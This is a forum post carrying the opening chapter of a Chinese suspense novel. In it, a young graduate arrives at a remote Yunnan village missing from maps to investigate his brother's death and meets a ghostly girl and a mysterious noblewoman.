分享好友
    复制链接
    本帖最后由 s175366 于 2015-10-15 22:06 编辑

    《幽乡魅影》


               第一章 消失在地图上的村落

      『滴!!!!』

      随着一阵火车汽笛的轰鸣声,我从短暂的睡梦中惊醒过来。

      睁眼一看,天已经蒙蒙亮。列车广播 在播放着,下一站是『昆明』的播报。

      『这一宿睡得还真不踏实。』从列车的卧铺上坐起上身,我回忆起了昨夜辗
    转反侧无法入眠。

      事实上,我不是一个弱不禁风的年轻人,这几年勤工俭学的经曆让我比一般
    人都更能吃苦。之所以昨夜无法入睡,是因为我即将前往的目的地,以及这个地
    点对于我来说的特殊意义。

      影乡,一个位于云南省边境,几乎没有任何知名度的乡村,是我此行的目的
    地。作为刚刚大学毕业的应届生,我响应学校的号召,自发前往此处担当村官。
    一方麵,这偏远到根本无人知晓的乡村,能给出比一般村官都高,甚至堪比大城
    市的待遇。另一方麵,之所以放弃了在大城市奔赴前途的打算,则有我的个人因
    素掺杂在其中。

      我叫聂晨,是一个独立自主能力很强的普通应届毕业生。而我的兄长聂东,
    一位中科院的有位干事,一个比我优秀百倍的好兄长,三年前曾来到此地考察治
    疗癌症的珍贵药材,一年前则在此地的一次工厂事故中不幸身亡。

      哥哥比我大九岁,身为孤儿的我们,从小在一家孤儿院 长大。或许是因为
    无父无母的关係,哥哥从小就比一般的孩子付出地更多,不仅要抚养我长大,还
    要努力通过做些童工来赚取饭钱。就是在这样巨大的压力下,哥哥一方麵考取了
    清华大学,并进而通过优异的成绩被保送至了中科院参与药品研究。另一方麵,
    哥哥一如既往地对我嗬护备至,但却因为家境问题,始终没有想过成家立业的问
    题。

      我小时候一直都想不通,为什么像哥哥这样仪表堂堂,又富有才华的好男儿,
    会没有任何女孩子喜欢呢?后来我才逐渐明白,哥哥不找女朋友当然不是性取向
    的问题,而是在学业和抚养我的重压下,哥哥根本没时间和财力去满足如今那些
    姑娘们物欲横流的欲望。从这点也可以看出,哥哥为了将我抚养长大,真的可谓
    是倾尽心血,对于没有享受过父母关爱的我来说,哥哥就是我这个世界上最亲近,
    也最应该报答的那个人。

      可是,正当哥哥凭借着在中科院的工作,终于可以享受良好的福利待遇,而
    我也终于大学毕业,可以在家 承担地更多之时,正当我认为自己终于可以回报
    哥哥的养育之恩,哥哥却在影乡的一段长达三个月的实地调研中和我永别了。

      记得当时拿到哥哥的死亡通知,我整个人都呆若木鸡,然后直接休克了过去。

      之后的几个月 ,我都无法从哥哥去世的阴影中走出来,一方麵由于自己在
    这个世界上唯一的亲人再也无法和自己想见,另一方麵也由于我亏欠哥哥的实在
    太多太多。我多想用自己的第一个月工资来为哥哥买一双他从来舍不得买的耐克
    鞋,或者一台笔记本电脑,让他不用再每天晚上留在单位蹭网。但,如今我再也
    没有机会,哪怕在叫他一声哥哥。

      哥哥去世几个月后,我也正式从大学毕业了。

      虽然没有哥哥那么出色的才华,也没考上清华北大这种超一流学府,但自小
    艰苦的生活,仍然让我比一般同龄人多了一分隐忍和坚强,如果不是被哥哥的去
    世所打击,我想我还是可以在大城市找到一份薪水不错的工作。

      记得当时的我,浑浑噩噩之中看到了影乡招募村官的招聘通知,因为哥哥逝
    去而斗誌全无的我,干脆选择了这个偏僻的乡村。在我的内心深处,选择这个穷
    乡僻壤,与其说是为了收入和三年后回城分配的承诺,倒不如说是为了寻觅哥哥
    当年的足迹,来填补内心中巨大的空白,以及对没有能报答哥哥的亏欠吧。

      正是因为哥哥和这个影乡密不可分的关係,才让我在昨晚的卧铺上迟迟无法
    入眠。

      这个影乡到底是什么地方?还有没有哥哥当年的足迹?那些据说对癌症有奇
    效的药材又是什么东西?

      正是带着这样的好奇,带着对哥哥的追思,我踏上了这段旅途,踏上了一段,
    当时的我做梦也没有想到的,惊心动魄的旅程。

      “晨哥……你怎么醒得这么早呀??”或许是列车的播报声有点大,睡在我
    上铺的,一个名叫王思思的少女被吵醒了,然后探出头来望着下铺的我。

      “我们应该快到了。” 头瞥了一眼这个令我没什么好感的女孩子,我平静
    地回答。

      “真是的……这列车真是让人睡得崩溃。夜 有蚊子,外麵还老有人走路,
    讨厌啦……”似乎没在意我的回答,王思思有些不满地自言自语着。

      王思思,典型的大城市女孩子,有着白嫩的皮肤和甜美的笑容。虽然是同校,
    但由于我上学比一般人晚了一年,所以比起23岁的我,比22岁的她,以及绝
    大多数同学都要大一点,也就有了被大家戏称为『晨哥』的待遇了。

      和我相同的是,昨晚这个睡在我上铺的女孩子也是许久都没有入眠,但和我
    不同的是,王思思无法熟睡的原因,只是因为出生在大城市的她,从来没有出过
    远门,也从来没有坐过这种档次的火车,更和这代人一样,没有吃过太多的苦。

      按理说,虽然不是达官显贵家的小姐,但好歹也是衣食无忧,王思思不该和
    我一样,选择这个偏远的地方作为自己的第一份工作。但事实上,作为班 有名
    的差学生,这个王思思似乎除了交男朋友有一手,在大学四年期间换了不下十个
    男朋友以外,她的学业实在差得可以,几乎每学期都有不及格的科目,到了毕业
    之时,因为挂科太多而无法顺利毕业,这才选择了这个偏远的工作,为的是用这
    种『献身』般的行为换取自己的毕业证和学位证。

      虽然,我们可以说是完全不同世界长大的孩子,我如同一匹孤单的狼,习惯
    了独行独立,而她好似温暖羊圈中的小羊,没有经曆过太多的苦难。但不得不承
    认,这个很会在男人麵前流露出甜美笑容,对清纯小男生有一手的姑娘,的确外
    表甜美。

      记得在出发前,当得知此次被分配到影乡的同行人是我和另外一个傻小子的
    时候,习惯了被男生们捧在手心 的王思思,毫无掩饰地对老师流露出了厌恶的
    表情,但在几天之后,当她发觉自己的抱怨毫无用处,同行之人还是我和另一个
    傻小子的时候,她很快便改变了自己的嘴脸,对我开始笑脸相迎了。

      毕竟,在这个陌生的地方,对于一个从未吃过苦的娇小姐来说,恐怕只有我
    这样动手能力很强的男生,才是唯一值得信赖的人吧。当然,我很清楚,一旦王
    思思在当地找到会沈醉于她的微笑,然后为其鞍前马后的男人,她很快就会对我
    收起这份貌似甜美的笑容吧。

      “哦……我们快到了啊。”就在此时,在我旁边的下铺,这次同行的第三个
    人,一个傻乎乎的傻小子陈凯也坐了起来。

      比起王思思,老实说我对于这个陈凯的印象略好一点。

      虽然人长得瘦小枯干,而且五官也和帅气毫不沾边,但陈凯好歹没想王思思
    一样娇生惯养。纵然平日 因为头脑大条而有些大大咧咧,但同样家境贫寒的他,
    让我多少多了一点点的亲近感。

      “列车将于十分锺之后到达昆明站。”

      随着列车的播报声再度响起,还处在没睡醒状态的陈凯如同触电一般赶紧跳
    了起来,一边喃喃自语着『糟糕』,一边迅速穿戴着自己的外衣。而在我的上铺,
    王思思虽然嘴上没说什么,但也开始抓紧收拾自己多如牛毛般的行李。至于我,
    因为昨夜压根没有打开自己的背包,也压根没有脱衣服睡觉,所以倒是可以轻轻
    鬆鬆地去厕所洗漱一下,然后便準备下车了。

      十几分锺后,随着我们终于走下了站台,我们正式开始了这趟旅程。

      走出昆明站,这 如同全国每个火车站一样喧闹无序。我身边的王思思和陈
    凯,显然因为这种陌生的喧哗而感到紧张,他们有意无意地走在我的身后,而我
    倒是镇定自若,走向了我们和当地派来迎接的人员约定的地点。

      “你们就是聂晨、王思思和陈凯吧?”在约定地点,一个大腹便便,头上有
    些谢顶,但外表慈祥的中年人远远地就对我们招手。

      “您就是影乡派来接我们的?”看到这个慈祥的大叔,因为火车站的喧闹而
    紧张不已的王思思,似乎终于放鬆了一点,抢过我的身边,快步走到了中年男子
    麵前。

      “你就是王思思同学吧,我叫张德民,今天专程来接你们的。”在中年男子
    说话的同时,我却注意到了他身后的那辆奥迪A8。作为一个在宣传材料上写的
    贫困乡村,村政府居然能购买奥迪,这不由得引起了我的注意。

      不过,比起穷乡僻壤出奥迪的奇特,更令我震惊的是,这个叫张德民的中年
    男子,正是我们在学校时看到的招聘通知上,这个影乡的村支书的名字。

      “您就是张书记?亲自来接我们!?”这次,轮到陈凯又惊又喜地跑了过去。
    看来这小子倒不是傻到一无是处,至少比总是疑神疑鬼的我要懂得套近乎的真谛。

      “嗬嗬,你们都是我们村重点迎接的贵客,加上最近村 缺人手,我肯定得
    亲自来接嘛。”至少,从第一印象上,这个张书记,让我身边这两个乳臭未干的
    傻孩子感到了安心。

      从昆明站开车到影乡,需要两个小时的车程。这一路上,坐在副驾驶的陈凯
    一直在努力和张书记聊着家常。而王思思则一直戴着自己的IPOD,听着那些
    爱来爱去的歌曲。

      至于我,在上车之前多了个心眼,买了一张云南当地的地图,为了今后三年
    的村官生涯,提前预习着这 的地理知识。

      不过令我多少有点在意的是,无论我多么仔细地去找,始终没在这张已经十
    分详细,记载着云南省境内所有乡镇的地图上,找到影乡的位置。

      “地图上没有影乡吗?”因为根本不认识这 的路,我不得不为此向张书记
    发问。

      “嗬嗬,我们这个小村子实在太小了,没资格在地图上标记啊。”对于自己
    村子的现状,张书记倒是泰然自若,还有点自我调侃。

      “晨哥,坐车看地图你不头晕吗?张书记这么和善,咱们有什么可担心的嘛
    ……”一边的王思思似乎倒是完全忘记了刚刚在车站时的紧迫,没有任何社会经
    曆的她,对和蔼的张书记,想必好似溺水之人抱到树干一样,顿时放鬆了下来。

      虽然,王思思和陈凯都开始对之后的村官生活有了一丝期待,但坐在后座的
    我,却有意无意地发现,张书记似乎总在通过反光镜打量着我。或许,是我多心
    了,或者,我希望是我多心了才好。

      一路上,陈凯和王思思很快便因为早上起得太早而睡了过去。我虽然想借王
    思思的IPONE查一下这个影乡到底在不在地图上,但却因为她已经入睡而只
    能作罢。
      『小晨,这 的环境真的很优美,完全是原生态的景色。哥哥在这 一切都
    好,你不用担心。』看着周围层峦叠翠的山峰,和天上的蓝天白云,我翻出自己
    的便宜手机,看了看还没删除的,当年哥哥刚到影乡时给我发的短信。

      『不管怎样,这 的景色确实不错啊……』随着时间的流逝,越来越多的绿
    色映入我的眼帘,看着哥哥的短信,我不禁也讚同着这 的景色的确很美。

      在陈凯和王思思睡着后,张书记就没有再搭理我,直到车子开出大路,顺着
    山路七拐八拐,最终驶入了一处被无数山峰包围着的土路。

      一条破旧的土路,而且位于有些海拔的山峰之间,这处被称为山沟也不足为
    过的地方,就是我们的目的地——影乡。

      的确如同张书记所说,这 的确是一处小的不能再小的乡村。土路走了几十
    分锺,才看到了熙熙攘攘的土房,和两旁穿着破旧衣服的农民们。

      令人在意的是,在车子路径的一处地方,在半山腰上有一座和这 格格不入
    的豪华别墅。完全古典中式的装饰,以及其透露出的奢华气质,都让人有些诧异
    于,这个穷乡僻壤怎么会有如此气派的房子。

      当车子终于开到了村政府门口,一座比旁边房屋都要气派的多,但毕竟不比
    城 的大房子便映入眼帘。

      至少,虽然张书记的西服革履明显比这个村子 大多数人的破衣烂衫要豪华
    太多,虽然这辆奥迪A8在这个连机动车都没有的村子 十分突兀,但考虑到各
    地方的政府大楼都豪华气派,这座村政府倒让人有些不足为奇了。

      “这 是哪 ……”睡醒的陈凯,冒出了这样的问题。

      “……”同样睡醒的王思思,这次没再说些什么,但她的脸上却再度浮现出
    了些许的紧张。作为一个大城市长大的娇娇公主,想必看到奥迪能让她安心,而
    看到穷乡僻壤势必让她感到慌乱吧。

      “就是这 了。”张书记停下车,然后便率先向村政府大楼内走去。

      在村政府大楼内,这 的公务员们没有像张书记一样西服革履,而是像一些
    电视剧 描写的六七十年代的人一样,穿着简陋的粗布衣服。要不是他们看到张
    书记后都会恭敬地问好,我真以为张书记是外地来这 开拓的商人,而非这 的
    一村之长。

      “今天没什么安排,你们被安排在那座宿舍 ,把行李放下然后缓解一下旅
    途劳顿吧。”在我们三个在报到书上签字之后,张书记在窗口指了指政府大楼旁
    的一处二层简陋公寓,依旧和蔼地说道。

      “张……张书记,我们对这 不太熟悉,能不能找个大哥或大姐带我们参观
    一下?”临走之前,陈凯问道。

      “放心吧,那 有接待你们的人员。”张书记回答道。

      “我们什么时候开始正式上岗?”对于不明不白地入住有些在意,我问道。

      “明天我会叫人把你们的工作安排通知你们的。大概……大概在后天吧。”
    或许是我多心,张书记对陈凯和王思思说话的语气都十分和蔼,但惟独对我有些
    冷漠。

      『管他呢,反正我这辈子遭人冷遇还少了么……』对于张书记的冷淡,我倒
    是毫不在意。毕竟对于我来讲,讨好这个山大王不是什么有趣的事情,能够来到
    哥哥当年工作过的地方,才是我此行的最大目的。

      离开政府大楼,走向宿舍的短暂路上,我不经意回头仰望,看到了张书记正
    在窗口注视着我们。一瞥中无法看清张书记的表情,但他却在发现我回头看见自
    己后迅速离开了窗口。

      “你们就是三位大学生吧?欢迎欢迎,我叫徐强,专门在这 接待你们。”
    当我们走进宿舍后,一个三十岁出头体型消瘦,看起来同样穿着西服的男子,便
    笑盈盈地迎了上来,“你们的房间在走廊的边上,两个男孩子是109,女孩子
    是107。”

      “谢谢您了。”估计是没经曆过这么长时间的旅途,王思思没等那个叫徐强
    的男子说完,便拿过了男子手中的钥匙,急匆匆地走向了自己的房间。

      “想必都累了吧,这是我的手机号,有事就叫我吧。”看着王思思离去的背
    影,满脸殷勤的徐强依然在笑,然后将写有自己手机号的纸条,和109的钥匙
    递给了我,“吃饭的话,可以去政府大楼二层的食堂。”

      目送着徐强离去,我和陈凯便走向了自己的房间。

      老实说,作为一个偏僻山村的宿舍,这 的房间虽然简陋,四周还刷着绿底
    白顶的老旧油漆,但室内至少干干净净,至少对于我来讲,这种住宿条件还是可
    以接受的。

      但是,对于习惯了在大城市生活的王思思和陈凯来讲,似乎就没我看的这么
    开了。

      “好像屋 连电视都没有,除了床、暖水瓶、洗脸盆和一张简陋的桌子以外,
    就没有其他的东西了??”看到屋 简陋的布置,陈凯开始抱怨起来,全然没有
    了之前在张书记麵前套近乎的风采。

      “而且没有热水,我连洗澡都没法洗啊!!”放完东西后就来到我们房间的
    王思思,这次干脆有点歇斯底 了。

      “哎呀!!我好想念学校门口的网吧啊,我的WOW啊……”陈凯继续抱怨
    着。

      “真实后悔为了毕业来到这个鬼地方,早知道我宁可留级也不来这 !!”
    气鼓鼓的王思思干脆一屁股坐在了床铺之上。

      “好了,我要去食堂吃饭,你们去不去?”在他们抱怨之时,我已经将自己
    的东西码放整齐。对于这两个姑爷爷姑奶奶,我连半点想去安慰的閑心都没有,
    干脆打算现在就去食堂吃饭了。

      “现在已经十一点半了啊,那我也去吧,还真有点饿了。”听到要吃饭,瘦
    干狼一样的陈凯倒是活跃了起来。

      “我可不去,累都累死了,再说这 能有什么好吃的!”王思思说着便站起
    了身子,然后走出了我们的房间。而我很清楚,在她那比我多出两倍的行李中,
    肯定有父母为其带的各种零食。

      “算了,我们去吧。”懒得再理王思思,我和陈凯也走出了房间。

      这 的食堂,果然如同料想的一样,的确可谓是乏善可陈。

      主食只有馒头和干巴巴的米饭,中午配给的两道菜,一道是炒白菜,一道是
    土豆丝。

      这样的伙食,自然让陈凯抱怨不已,至于我,比起午饭的简陋,却更在意一
    些别的事情。

      『手机居然没信号吗?』在确认了自己和陈凯的NOKIA都没有信号之后,
    我也开始感到了一些不太满意的不便了。

      就在我想问问食堂 的其它公务员,关于打电话的事情之时,啃着馒头的陈
    凯对我开口说道:“晨哥,你觉得思思怎么样啊?”

      “王思思?你是指哪些方麵?”我说道。

      “我说的是长相。以前不同班还真没注意过,这次一起出来,倒是觉得王思
    思长得不赖啊。”陈凯的眉宇之间流露着真实的情感,让我相信估计从来没什么
    女人缘的他,是在真心讚美王思思的甜美。

      “不过这个娇小姐的性格有点够呛。”虽然对王思思没什么想法,但我也认
    同这个娇小姐的确长得不错。

      “不瞒你说,我刚才就琢磨,你说这荒山野岭的,好在有王思思在身边就伴
    啊。”

      “怎么?你打算追她?”

      “嘿嘿,反正晨哥你貌似对她没什么感觉。我还真不吹牛,要说在城 ,像
    这样的姑娘肯定是看不上我啦。但在这个地方,无亲无故,身边又都是农民,我
    可就体现出价值了。”

      “嗬嗬,随便你吧,反正她不是我喜欢的类型。”

      “嘿嘿嘿,要的救你晨哥你这句话。要说你这样仪表堂堂的男人,我还真不
    是对手,但如果你不追她的话,我可有信心把她追到手,毕竟要在这 三年呢。


      “那……你就加油吧。”对于陈凯的表态我不置可否,至少王思思的确不是
    我喜欢的类型,他们俩好与不好我也不太在意。

      午饭吃的很快,因为今天没有被安排任何工作,我便準备用下午的时间好好
    逛逛这片山沟。不过陈凯却借口旅途劳累,实际上是为了回宿舍和王思思套近乎,
    便没有随同我一起出行了。

      告别了陈凯,我开始沿着山沟 唯一一条土路,朝着山沟深处缓步走去。

      我发现,影乡的交通的确十分不便利,全村的农民都挨着这条唯一的土路搭
    建房屋。土路两旁是农屋,农屋两旁便是山峦和一些梯田。

      路上,我看到这 的农民们大多都在地 干活,见到几个老乡去问路,全都
    告诉我这 就这么一条可以走的路。至于打电话的问题,据说必须去乡政府打公
    用电话,否则只有在村口可以接收到微弱的移动信号,想必哥哥生前给我发的短
    信也是在那 了。

      不过,如果说这 的经济发展还几乎处于原始社会,那么这 的景色便真是
    美好到让人沈醉了。

      不同于北方的山林,这 的树木大多纤细但高耸,树叶不似北方一般的墨绿
    色,而是一片翠绿翠绿的颜色。几乎每隔几十米,都有清泉从山上流淌下来,有
    几户人家也在用水车来工作着。

      前行了大约五百米,这个小小的山沟便走到头了。粗略目测一下,这 大约
    住着有不到一百户人家,估计村人口最多也不超过三百人吧。

      但是,就在我快要走到尽头,苦笑了一下之后想掉头返回之时,在道路的尽
    头,一座矮小的房屋却令人顿时驻足,脸上也露出了重大发现一般的神色。

      这座位于山沟尽头的小房,通体都有烧焦的痕迹。而当初法医给出的,关于
    哥哥身亡的坚定报告,明确写着哥哥是因为爆炸而命丧黄泉的。

      『这 是哥哥生前工作的地方,甚至是哥哥过世的地方吗!?』看到这座毁
    坏的小屋之后,我如同发现了珍宝一般,迅速朝小屋的方向跑去。

      只见在小屋门口,拉着一条条清晰的隔离线,显然村政府在事故之后将此处
    封锁了起来。但是,出于对哥哥的追思,出于哪怕发现一丝一毫哥哥生前的痕迹
    也好的心理,我不顾隔离线的阻拦,还是冒险地走了进去。

      这间小屋目测只有不到二十平方米,内部除了烧过的灰烬以外别无他物,但
    就在我驻足内部,茫然地看着这一地灰烬之时,一个如同鬼魅般的,却又十分清
    澈的声音从我身侧的角落 传了出来。

      “你是谁?”

      声音听起来也就十八九岁,音色清晰但音调却十分低沈。我转头看去,只见
    一个穿着纯白色长裙的少女正目不转睛地凝视着我。

      如同声音一般,少女看起来也只有十八九岁的年纪,她有着如星空般清澈的
    明亮双眼,鼻梁高耸,双唇粉薄。和一般人不同的是,少女留着一头极为乌黑浓
    密的秀发,发梢似乎垂落到她的腰间。宽鬆的长裙一直没到她的脚麵,让我除了
    被头发包裹的脸庞,看不到她身体的任何部分。

      少女的肤色极为白皙,不仅仅比西方人都要白皙,而且似乎缺乏血色。目测
    有一米六七或一米六八个头的她,看起来格外地不食人间烟火。但是,比起宛如
    天籁般的少女,自认为甜美动人的王思思显然就远远不及了。

      “你……是这 的仙女?”虽然我不是陈凯这样随随便便的人,但在这荒郊
    野岭 突然看到这么一个美好动人的少女,仍然让我感到一丝开心,在被她双眼
    凝视的同时,我不知为何无法太多思索,而是将想说的话说了出来。

      “你不是本地人吧。”麵对着我,少女脸上的表情没有任何变化,语气也依
    然保持着空灵和平淡。

      “不是,那你是这 的人?”少女的问题反而让我意识到,比起我这个外来
    客,她似乎才和这 的乡土风格格格不入。

      “你来这 做什么?”没有回答我的话,少女继续问道。

      “呃……怎么说呢……这 和我身边一个重要的人颇有瓜葛。”虽然不像哥
    哥那样始终没有交过女朋友,而是在大学期间交往过两任女友,但麵对这样奇特
    但冰霜般的少女,我还是有点语无伦次了,更重要的是,我似乎不想说谎,依然
    不假思索地将心 所想说了出来。

      良久,少女依然凝视着我,却没有回答我的话,这让我多少有些感到不自然。

      然后,当我想主动开口打破这片平静之时,站在角落 的少女不再理我,慢
    步走到门口,一闪身便出了门。

      “喂!你还没告诉我你是谁……”我紧随而出,但却发现屋外空空蕩蕩,左
    右环顾,除了已到尽头的土路和四周没有人烟的大山,却哪 还能寻得少女的蹤
    迹。

      就在我环顾四周,对刚才的少女感到好奇之时,只见在朝着村 的方向,徐
    强正缓步走来。

      “喂!你在这 做什么呢?”徐强远远地朝我招手。

      “哦……没事,随便走走。”想到这个被烧毁的小屋被拉上了隔离线,我便
    没有将自己来此地的目的脱口而出。

      “那个房子随时有可能塌掉,你可千万别冒险进去啊。”似乎颇为担心我的
    安全,但在徐强说话的同时,我注意到他的视线似乎在观察那隔离线是否被我碰
    过。

      “放心,我没进去。”好奇于他对这座小屋的关注,我依然没有说实话,而
    且我自信自己刚刚迈过隔离线的同时没有碰到它。

      “其实我找你,是张书记刚才告诉我,晚上为你们準备了接风的酒席。”见
    我开始往回走,徐强便也走在我的身后。

      “酒席?不用这么隆重吧?”暂时认为徐强的确是关心我的安全,我也不再
    细想。

      “是啊,张书记说我们这 营养不好,不能让城 的大学生总吃这些,所以
    特意準备了一桌酒席呢。你那两个朋友一听晚上开荤,都高兴得不得了。”徐强
    依然是满脸殷勤。

      “也对,他们两个应该会很开心吧。”想到陈凯和王思思的娇贵,我倒相信
    徐强所说的,他们俩一听到晚上下馆子,会开心得不得了。

      “对……对了……你刚才,没看到什么古怪的东西吧?”突然,一直都满脸
    笑容的徐强忽然眉头一皱,整张脸似乎都浮现出一种古怪而紧张的神色。

      “没有啊,你怎么了?”对于徐强脸色的变化我本能地产生了警觉,更本能
    地将他的紧张和之前见到的那个少女联係了起来。

      “没什么……实不相瞒,村 一直相传,山沟的尽头有女鬼出没……”

      “女鬼!?”想到那个少女一席白衣的装束、乌黑但散乱的长发、以及苍白
    的脸色,让我也不禁打了个冷战。但是即便如此,我还是不想对眼前的这个徐强
    说实话。

      事实上,初来乍到的我本身是没有立场的。但直觉告诉我,那么在意隔离线,
    又总是满脸堆笑的徐强,至少目前是无法让我放心下来的。

      “看来吓着你了……没事,就当我什么都没说……”徐强打算结束这个话题
    了,但从他紧张的脸色来看,似乎这种对女鬼的畏惧不是装出来的。

      回到我们居住的宿舍,也不过下午三点,但徐强却好似在恭候大驾一般,站
    在宿舍门口迟迟不肯离去。

      “徐哥,你就别在这 等了,不就是村政府大楼三层吗?一会儿我们就过去。
    ”我劝徐强,试图让他离去。

      “没事,没事。张书记说今晚有大人物要来,所以咱们得五点就过去。”

      “那也还差两个小时啊。”搞不懂徐强的行为,我继续劝道。

      “没事,兄弟你就回去休息吧,我閑着也是閑着,就在这 坐会儿。”不顾
    我的劝阻,徐强倒干脆一屁股坐在了宿舍门口的椅子上,大有要一直等到五点的
    意思。

      眼看徐强不走,我也懒得再劝,干脆不管他,回到了自己的宿舍。

      陈凯不在109房间,相反从110房间传来了他和王思思谈话嬉笑的声音,
    看来那小子还真说干就干,开始想方设法地接近王思思了。

      坐了一夜火车,再坐了两个多小时的汽车,又走了几个小时的山路,我的确
    开始感到一些疲惫了。于是我也不管陈凯他们或门口的徐强,躺在了自己的床铺
    上,思索着这一天以来的各种见闻。

      从身穿西服革履,开着奥迪A8来看,那个张书记显然在村 是个一言九鼎
    的人物,不过他为什么惟独对我不那么友好?或许因为我们三个在应聘时,我的
    个人资料 ,关于家庭情况写的是孤儿?又或许是因为我总是有点警觉?奇怪,
    为什么离开村政府的时候,他被我发现站在窗口后,立刻有点做贼心虚地退了回
    去?

      这个村子 绝大多数村民都穿粗布衣服,那个徐强和张书记一样穿西服,想
    必应该是张书记手底下的亲信才对。

      等等。他刚才说是来通知我晚上有饭局的。但他怎么知道我就在山沟最深处
    那间烧毁的小屋?从我们俩到达那 的时间点来看,应该是前后脚。也就是说他
    没有去其它地方找我,而是一下子就猜到我去了山 麵?

      从他对那间烧毁的小屋的重视程度,以及对女鬼的畏惧来看,他肯定是不希
    望我老去那 的。莫非……他坐在宿舍门口等我们,不仅仅是为了礼貌,更重要
    的是监视着我们,免得我再到处乱跑?

      虽然没有确切的证据,但那间烧毁的小屋很可能就是哥哥命丧黄泉的地方。
    他们这么在意,看来其中必定有鬼。

      至于那个少女……难道真是女鬼?从穿衣举止和脸色来看,的确有点女鬼的
    样子。可她并没有袭击我,而且说话声音虽然平淡却很明亮。也或者……她会在
    夜 来袭击我?好像很多恐怖电影 演的那样,白天不惹人,夜晚就出来?

      还有……这 的手机没有信号,打电话只能去村政府,而且地图上没有这个
    村落的标记……一切一切,似乎都透露着令人怀疑的蹊跷。

      当然,作为一个生长在现代社会,而不是生活在虚拟世界中的人,蹊跷归蹊
    跷,我倒不至于把这些内容联想到和谋财害命或者鬼怪灵媒之上。最多,我只是
    无法像陈凯和王思思那样完全放鬆任何警惕,或许,这也是从小就必须麵对複杂
    的社会,为了养活自己需要小心谨慎所带来的后遗症吧。

      想着想着,我终于在一身的疲惫中睡了过去。只不过本能地警惕性,让我睡
    得很浅,耳朵 若有若无地还听着因为隔音效果很差,所以从隔壁传来的,陈凯
    和王思思嬉笑的声音。

      也正因为睡得浅,当一个硬物从床铺旁的窗口扔进屋 ,砸在窗边的木桌上
    并发出响声之时,我迅速睁开了眼睛,条件反射般地从床上跳了下来。

      “什么人!?”从窗口向外张望,哪 还有半个人影?但低头一看木桌,上
    麵却多了一块表麵很不光滑,似乎是纯天然的玉石。

      拿起这块玉石打量,表麵因为没有任何人工切割修饰的痕迹而粗糙不堪,大
    小则约有三分之一个手掌大小。

      『不仅是村子的人和事物有些奇怪,还能突然收到这种从天而降的礼物?』
    因为不知道是什么人将这块玉石扔进屋 ,我也只能丈二和尚摸不着头脑了。

      “晨哥,我们过去吧!”没等我琢磨清楚这块玉石的来曆,随着敲门声响起,
    王思思的声音从门外传来。

      我低头看了看手表,时间已经到了四点五十左右。我一方麵意识到自己刚刚
    的确睡了不短的时间,另一方麵则感歎,至少在这个村子 ,手表还是能用的。

      眼看已经到了该去赴宴的时间,加上王思思和陈凯就在门外,我来不及思索
    这块玉石的来曆,偷偷把玉石放进兜 ,然后便走向了门口。

      打开房门,便看到了换了一身新衣服的王思思,以及站在王思思身后,偷偷
    对我比划V字手势的陈凯。显然,大城市的娇小姐只顾上要换掉旅途劳顿的髒衣
    服,却忘了在这 不应穿得如此亮丽。而大城市的傻小子显然很满足于自己和王
    思思一下午的閑聊,想要泡妞的宏伟计划似乎进展地不错。

      三个人一起走出宿舍,便发现徐强还坐在门口的椅子上。见我们一同出来,
    他再度露出了殷勤的笑容,只不过想到他一直坐在这 两个小时,我还是觉得这
    种笑容的背后似乎隐藏了什么。

      在村政府的三楼,有一间略微装修的房间,其中摆放着饭店包房 才有的大
    圆桌,显然这 便是影乡用来招待一些贵客的地方了。

      当我们走进去的时候,张书记并不在其中。在徐强的安排下,我们三个被安
    排在右手的偏座,以示对客人的尊重。而当王思思问及张书记之时,徐强说张书
    记现在去接贵客,一会儿就会和贵客一起到来。

      “想不到这个偏僻的小村庄 还能有什么外来的贵客?”在徐强下楼迎接贵
    客之后,坐在我身旁的王思思问我。

      “不清楚……我只是好奇,我们三个所谓的,从大城市来的大学生,真的值
    得用所谓的贵客规格来接待?”不同于王思思,我却颇为在意,这顿饭局 所谓
    的贵客到底是我们,还是那位能让张书记亲自去迎接的人。

      “管他是什么身份呢,反正今晚能吃点好吃的才重要啊。”看来还是向来得
    过且过的陈凯看得开。

      “什么呀,你这么瘦,没想到却这么好吃……”从王思思对陈凯娇嗔的样子
    来看,陈凯这一下午的攻势,显然拉近了两人之间的距离。

      “不是为了我啊,我只是不想让你吃不到好的啊。”虽说在生活和学业上都
    一无是处,但陈凯似乎在和女孩子套近乎上的确有一手。他这么一说,王思思嘴
    上依然在娇嗔,但眉宇已有了十分受用的神色。

      就在我们三个有一搭无一搭地对话之时,餐厅的房门终于打开,只见徐强率
    先满脸赔笑地走进屋内,一边伸手为那个贵客指路,一边对门外的贵客点头哈腰
    着。

      如果不是因为身边还有王思思和陈凯,当那名贵客缓步走进房门之时,我甚
    至以为自己穿越了。

      乡村,是普通得中国农村,风景秀美但百姓贫穷。村政府,也是普通的村政
    府,虽然比山沟 的其它住房要气派一些,但屋 的装潢显然还带有浓重的乡土
    气息。

      但是,当这个贵宾终于走进房间,一抹不同于这 素色基调的鲜豔红色便迅
    速映入我们的眼帘。更令人无法忽视的是,这个贵宾看起来虽然三十多岁,却是
    一个不折不扣的,半点乡土气息都没有,相反却显得极为雍容华贵的美丽妇人。

      这名妇人大约一米六五的个头,身穿了一件老上海一般的鲜红色旗袍,旗袍
    本身的麵料看起来便十分名贵,旗袍上绣着的金色凤凰更是光芒四射。

      虽然外表华贵,虽然不同于乡土气息的白嫩肌肤,和小巧匀称的口鼻都令人
    必须承认她的美貌,但更令人在意的,是妇人那双细长的丹凤眼之中,透露出的
    一种让人几乎无法直视的气场。

      妇人的长发被一根玉簪盘在头顶,走路的体态缓慢优美,整个人看起来婉约
    动人,可唯独那双妙目 ,似乎无时无刻不在放射着能够穿透人心的光芒,而这
    种光芒,迅速让尾随在她身后的张书记暗淡无光,但换个角度来说,妇人的突然
    出现,也让这间普普通通的餐厅顿时蓬荜生辉。

      “你们……就是城 来的三位大学生吧?”没有在意在一旁鞍前马后的徐强,
    妇人并没有走到专门为其留出的,主座左手边的重要位置,而是拉过我身边的,
    正对着主座的椅子并优雅地坐在了上麵。

      在妇人发问的同时,我注意到,无论是平日 就色眯眯的陈凯,还是明显震
    慑于妇人美貌的王思思,都目瞪口呆到一时半会儿说不出话来。

      “我的名字叫影凤凰,你们呢??”似乎见惯了那些男男女女们,在见到自
    己后错愕的反应,美丽妇人对于我们的失利也不生气,而是露出了淡淡的微笑,
    一双妙目却来回打量着我们三个。

      “我……我叫陈凯,这位是王思思,坐你身边的是聂晨……”到底还是陈凯
    率先反应了过来,抢着在妇人麵前表现着自己。

      “哦?聂晨?你和聂东是什么关係?”突然,妇人的一双妙目直勾勾地盯在
    了我的身上,而她口中的话则令我瞬间激动了起来。

